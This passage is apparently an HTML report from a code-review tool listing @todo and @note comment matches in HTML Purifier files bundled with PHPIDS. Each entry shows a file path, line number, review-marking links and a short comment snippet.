Listifies a list of objects by retrieving class names and internal state 233- * @param $array List of objects 234: * <span class='match_highlight'>@todo</span> Also add information about internal state 235- */ 236- protected function listifyObjectList($array) { 237- ksort($array);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/ConfigForm.php</span>:<span class='line_number'>4</span> <span class='match_count'>(32/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-/** 4: * <span class='match_highlight'>@todo</span> Rewrite to use Interchange objects 5- */ 6-class HTMLPurifier_Printer_ConfigForm extends HTMLPurifier_Printer 7-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.php</span>:<span class='line_number'>51</span> <span class='match_count'>(33/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>48- * These configurations are entirely independent of each other and 49- * are *not* merged (this behavior may change in the future). 50- * 51: * <span class='match_highlight'>@todo</span> We need an easier way to inject strategies using the configuration 52- * object. 53- */ 54-class HTMLPurifier</code></pre> </div> </div> </div> </div> <div class='signature_4da859ea54b4c76db2a9f5b11772efde signature_group_developer_notes signature_group'> <a name='s-4da859ea54b4c76db2a9f5b11772efde'></a> <h3> <code>@note</code> <span class='signature_count'>(95)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","4da859ea54b4c76db2a9f5b11772efde")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/Directive.php</span>:<span class='line_number'>5</span> <span class='match_count'>(1/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-/** 4- * Structure object containing definition of a directive. 5: * <span class='match_highlight'>@note</span> This structure does not contain default values 6- */ 7-class HTMLPurifier_ConfigDef_Directive extends HTMLPurifier_ConfigDef 8-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter/ExtractStyleBlocks.php</span>:<span class='line_number'>8</span> <span class='match_count'>(2/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>5- * using CSSTidy, and then places them in $purifier->context->get('StyleBlocks') 6- * so they can be used elsewhere in the document. 7- * 8: * <span class='match_highlight'>@note</span> 9- * See tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php for 10- * sample usage. 11- * 12: * <span class='match_highlight'>@note</span> 13- * This filter can also be used on stylesheets not included in the 14- * document--something purists would probably prefer. Just directly 15- * call HTMLPurifier_Filter_ExtractStyleBlocks->cleanCSS()</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Validator.php</span>:<span class='line_number'>6</span> <span class='match_count'>(3/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-/** 4- * Performs validations on HTMLPurifier_ConfigSchema_Interchange 5- * 6: * <span class='match_highlight'>@note</span> If you see '// handled by InterchangeBuilder', that means a 7- * design decision in that class would prevent this validation from 8- * ever being necessary. We have them anyway, however, for 9- * redundancy.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/SafeParam.php</span>:<span class='line_number'>8</span> <span class='match_count'>(4/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>5- * will only allow name values it recognizes, and pre-fill certain attributes 6- * with required values. 7- * 8: * <span class='match_highlight'>@note</span> 9- * This class only supports Flash. In the future, Quicktime support 10- * may be added. 11- *</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Lang.php</span>:<span class='line_number'>5</span> <span class='match_count'>(5/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * Post-transform that copies lang's value to xml:lang (and vice-versa) 5: * <span class='match_highlight'>@note</span> Theoretically speaking, this could be a pre-transform, but putting 6- * post is more efficient. 7- */ 8-class HTMLPurifier_AttrTransform_Lang extends HTMLPurifier_AttrTransform</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter.php</span>:<span class='line_number'>18</span> <span class='match_count'>(6/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>15- * 2->preFilter, 3->preFilter, purify, 3->postFilter, 2->postFilter, 16- * 1->postFilter. 17- * 18: * <span class='match_highlight'>@note</span> Methods are not declared abstract as it is perfectly legitimate 19- * for an implementation not to want anything to happen on a step 20- */ 21-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Tag.php</span>:<span class='line_number'>19</span> <span class='match_count'>(7/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>16- /** 17- * The lower-case name of the tag, like 'a', 'b' or 'blockquote'. 18- * 19: * <span class='match_highlight'>@note</span> Strictly speaking, XML tags are case sensitive, so we shouldn't 20- * be lower-casing them, but these tokens cater to HTML tags, which are 21- * insensitive. 22- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Filter.php</span>:<span class='line_number'>5</span> <span class='match_count'>(8/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * Microsoft's proprietary filter: CSS property 5: * <span class='match_highlight'>@note</span> Currently supports the alpha filter. In the future, this will 6- * probably need an extensible framework 7- */ 8-class HTMLPurifier_AttrDef_CSS_Filter extends HTMLPurifier_AttrDef</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Multiple.php</span>:<span class='line_number'>10</span> <span class='match_count'>(9/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>7- * lengths to be specified. This class can take a vanilla border-width 8- * definition and multiply it, usually into a max of four. 9- * 10: * <span class='match_highlight'>@note</span> Even though the CSS specification isn't clear about it, inherit 11- * can only be used alone: it will never manifest as part of a multi 12- * shorthand declaration. Thus, this class does not allow inherit. 13- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Font.php</span>:<span class='line_number'>12</span> <span class='match_count'>(10/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>9- /** 10- * Local copy of component validators. 11- * 12: * <span class='match_highlight'>@note</span> If we moved specific CSS property definitions to their own 13- * classes instead of having them be assembled at run time by 14- * CSSDefinition, this wouldn't be necessary. We'd instantiate 15- * our own copies.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/TextDecoration.php</span>:<span class='line_number'>5</span> <span class='match_count'>(11/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * Validates the value for the CSS property text-decoration 5: * <span class='match_highlight'>@note</span> This class could be generalized into a version that acts sort of 6- * like Enum except you can compound the allowed values. 7- */ 8-class HTMLPurifier_AttrDef_CSS_TextDecoration extends HTMLPurifier_AttrDef</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/URI.php</span>:<span class='line_number'>5</span> <span class='match_count'>(12/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * Validates a URI in CSS syntax, which uses url('http://example.com') 5: * <span class='match_highlight'>@note</span> While theoretically speaking a URI in a CSS document could 6- * be non-embedded, as of CSS2 there is no such usage so we're 7- * generalizing it. This may need to be changed in the future. 8- * @warning Since HTMLPurifier_AttrDef_CSS blindly uses semicolons as</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Background.php</span>:<span class='line_number'>12</span> <span class='match_count'>(13/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>9- 10- /** 11- * Local copy of component validators. 12: * <span class='match_highlight'>@note</span> See HTMLPurifier_AttrDef_Font::$info for a similar impl. 13- */ 14- protected $info; 15-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/ListStyle.php</span>:<span class='line_number'>12</span> <span class='match_count'>(14/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>9- 10- /** 11- * Local copy of component validators. 12: * <span class='match_highlight'>@note</span> See HTMLPurifier_AttrDef_CSS_Font::$info for a similar impl. 13- */ 14- protected $info; 15-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI.php</span>:<span class='line_number'>5</span> <span class='match_count'>(15/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * Validates a URI as defined by RFC 3986. 5: * <span class='match_highlight'>@note</span> Scheme-specific mechanics deferred to HTMLPurifier_URIScheme 6- */ 7-class HTMLPurifier_AttrDef_URI extends HTMLPurifier_AttrDef 8-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS.php</span>:<span class='line_number'>5</span> <span class='match_count'>(16/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * Validates the HTML attribute style, otherwise known as CSS. 5: * <span class='match_highlight'>@note</span> We don't implement the whole CSS specification, so it might be 6- * difficult to reuse this component in the context of validating 7- * actual stylesheet declarations. 8: * <span class='match_highlight'>@note</span> If we were really serious about validating the CSS, we would 9- * tokenize the styles and then parse the tokens. Obviously, we 10- * are not doing that. Doing that could seriously harm performance, 11- * but would make these components a lot more viable for a CSS</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Enum.php</span>:<span class='line_number'>21</span> <span class='match_count'>(17/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>18- 19- /** 20- * Bool indicating whether or not enumeration is case sensitive. 21: * <span class='match_highlight'>@note</span> In general this is always case insensitive. 22- */ 23- protected $case_sensitive = false; // values according to W3C spec 24-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Nmtokens.php</span>:<span class='line_number'>5</span> <span class='match_count'>(18/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * Validates contents based on NMTOKENS attribute type. 5: * <span class='match_highlight'>@note</span> The only current use for this is the class attribute in HTML 6: * <span class='match_highlight'>@note</span> Could have some functionality factored out into Nmtoken class 7- * @warning We cannot assume this class will be used only for 'class' 8- * attributes. Not sure how to hook in magic behavior, then. 9- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/LinkTypes.php</span>:<span class='line_number'>5</span> <span class='match_count'>(19/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * Validates a rel/rev link attribute against a directive of allowed values 5: * <span class='match_highlight'>@note</span> We cannot use Enum because link types allow multiple 6- * values. 7: * <span class='match_highlight'>@note</span> Assumes link types are ASCII text 8- */ 9-class HTMLPurifier_AttrDef_HTML_LinkTypes extends HTMLPurifier_AttrDef 10-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Lang.php</span>:<span class='line_number'>5</span> <span class='match_count'>(20/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * Validates the HTML attribute lang, effectively a language code. 5: * <span class='match_highlight'>@note</span> Built according to RFC 3066, which obsoleted RFC 1766 6- */ 7-class HTMLPurifier_AttrDef_Lang extends HTMLPurifier_AttrDef 8-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Integer.php</span>:<span class='line_number'>5</span> <span class='match_count'>(21/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * Validates an integer. 5: * <span class='match_highlight'>@note</span> While this class was modeled off the CSS definition, no currently 6- * allowed CSS uses this type. The properties that do are: widows, 7- * orphans, z-index, counter-increment, counter-reset. Some of the 8- * HTML attributes, however, find use for a non-negative version of this.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/IPv6.php</span>:<span class='line_number'>6</span> <span class='match_count'>(22/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-/** 4- * Validates an IPv6 address. 5- * @author Feyd @ forums.devnetwork.net (public domain) 6: * <span class='match_highlight'>@note</span> This function requires brackets to have been removed from address 7- * in URI. 8- */ 9-class HTMLPurifier_AttrDef_URI_IPv6 extends HTMLPurifier_AttrDef_URI_IPv4</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TokenFactory.php</span>:<span class='line_number'>6</span> <span class='match_count'>(23/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-/** 4- * Factory for token generation. 5- * 6: * <span class='match_highlight'>@note</span> Doing some benchmarking indicates that the new operator is much 7- * slower than the clone operator (even discounting the cost of the 8- * constructor). This class is for that optimization. 9- * Other then that, there's not much point as we don't</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URI.php</span>:<span class='line_number'>5</span> <span class='match_count'>(24/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * HTML Purifier's internal representation of a URI. 5: * <span class='match_highlight'>@note</span> 6- * Internal data-structures are completely escaped. If the data needs 7- * to be used in a non-URI context (which is very unlikely), be sure 8- * to decode it first. The URI may not necessarily be well-formed until</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URI.php</span>:<span class='line_number'>17</span> <span class='match_count'>(25/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>14- public $scheme, $userinfo, $host, $port, $path, $query, $fragment; 15- 16- /** 17: * <span class='match_highlight'>@note</span> Automatically normalizes scheme and port 18- */ 19- public function __construct($scheme, $userinfo, $host, $port, $path, $query, $fragment) { 20- $this->scheme = is_null($scheme) || ctype_lower($scheme) ? $scheme : strtolower($scheme);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/FixNesting.php</span>:<span class='line_number'>25</span> <span class='match_count'>(26/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>22- * task is pervasive through the strategy, though the two are distinct tasks 23- * and could, theoretically, be seperated (although it's not recommended). 24- * 25: * <span class='match_highlight'>@note</span> Whether or not unrecognized children are silently dropped or 26- * translated into text depends on the child definitions. 27- * 28- * @todo Enable nodes to be bubbled out of the structure.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Context.php</span>:<span class='line_number'>7</span> <span class='match_count'>(27/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>4- * Registry object that contains information about the current context. 5- * @warning Is a bit buggy when variables are set to null: it thinks 6- * they don't exist! So use false instead, please. 7: * <span class='match_highlight'>@note</span> Since the variables Context deals with may not be objects, 8- * references are very important here! Do not remove! 9- */ 10-class HTMLPurifier_Context</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/UnitConverter.php</span>:<span class='line_number'>66</span> <span class='match_count'>(28/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>63- * it before passing it here! 64- * @param string $to_unit 65- * Unit to convert to. 66: * <span class='match_highlight'>@note</span> 67- * About precision: This conversion function pays very special 68- * attention to the incoming precision of values and attempts 69- * to maintain a number of significant figure. Results are</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DoctypeRegistry.php</span>:<span class='line_number'>18</span> <span class='match_count'>(29/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>15- 16- /** 17- * Registers a doctype to the registry 18: * <span class='match_highlight'>@note</span> Accepts a fully-formed doctype object, or the 19- * parameters for constructing a doctype object 20- * @param $doctype Name of doctype or literal doctype object 21- * @param $modules Modules doctype will load</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DoctypeRegistry.php</span>:<span class='line_number'>51</span> <span class='match_count'>(30/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>48- 49- /** 50- * Retrieves reference to a doctype of a certain name 51: * <span class='match_highlight'>@note</span> This function resolves aliases 52: * <span class='match_highlight'>@note</span> When possible, use the more fully-featured make() 53- * @param $doctype Name of doctype 54- * @return Editable doctype object 55- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DoctypeRegistry.php</span>:<span class='line_number'>69</span> <span class='match_count'>(31/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>66- /** 67- * Creates a doctype based on a configuration object, 68- * will perform initialization on the doctype 69: * <span class='match_highlight'>@note</span> Use this function to get a copy of doctype that config 70- * can hold on to (this is necessary in order to tell 71- * Generator whether or not the current document is XML 72- * based or not).</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer.php</span>:<span class='line_number'>77</span> <span class='match_count'>(32/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>74- 75- /** 76- * Generates the path to the directory contain this cache's serial files 77: * <span class='match_highlight'>@note</span> No trailing slash 78- * @todo Make protected 79- */ 80- public function generateDirectoryPath($config) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLDefinition.php</span>:<span class='line_number'>20</span> <span class='match_count'>(33/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>17- * Purifier internals. Many of them, however, are public, and may be 18- * edited by userspace code to tweak the behavior of HTMLDefinition. 19- * 20: * <span class='match_highlight'>@note</span> This class is inspected by Printer_HTMLDefinition; please 21- * update that class if things here change. 22- * 23- * @warning Directives that change this object's structure must be in</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLDefinition.php</span>:<span class='line_number'>54</span> <span class='match_count'>(34/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>51- 52- /** 53- * String name of element used to wrap inline elements in block context 54: * <span class='match_highlight'>@note</span> This is rarely used except for BLOCKQUOTEs in strict mode 55- */ 56- public $info_block_wrapper = 'p'; 57-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLDefinition.php</span>:<span class='line_number'>95</span> <span class='match_count'>(35/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>92- 93- /** 94- * Adds a custom attribute to a pre-existing element 95: * <span class='match_highlight'>@note</span> This is strictly convenience, and does not have a corresponding 96- * method in HTMLPurifier_HTMLModule 97- * @param $element_name String element name to add attribute to 98- * @param $attr_name String name of attribute</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLDefinition.php</span>:<span class='line_number'>114</span> <span class='match_count'>(36/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>111- 112- /** 113- * Adds a custom element to your HTML definition 114: * <span class='match_highlight'>@note</span> See HTMLPurifier_HTMLModule::addElement for detailed 115- * parameter and return value descriptions. 116- */ 117- public function addElement($element_name, $type, $contents, $attr_collections, $attributes) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLDefinition.php</span>:<span class='line_number'>128</span> <span class='match_count'>(37/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>125- /** 126- * Adds a blank element to your HTML definition, for overriding 127- * existing behavior 128: * <span class='match_highlight'>@note</span> See HTMLPurifier_HTMLModule::addBlankElement for detailed 129- * parameter and return value descriptions. 130- */ 131- public function addBlankElement($element_name) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Bootstrap.php</span>:<span class='line_number'>27</span> <span class='match_count'>(38/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>24- * Bootstrap class that contains meta-functionality for HTML Purifier such as 25- * the autoload function. 26- * 27: * <span class='match_highlight'>@note</span> 28- * This class may be used without any other files from HTML Purifier. 29- */ 30-class HTMLPurifier_Bootstrap</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache.php</span>:<span class='line_number'>56</span> <span class='match_count'>(39/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>53- 54- /** 55- * Checks if a definition's type jives with the cache's type 56: * <span class='match_highlight'>@note</span> Throws an error on failure 57- * @param $def Definition object to check 58- * @return Boolean true if good, false if not 59- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache.php</span>:<span class='line_number'>100</span> <span class='match_count'>(40/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>97- 98- /** 99- * Clears all expired (older version or revision) objects from cache 100: * <span 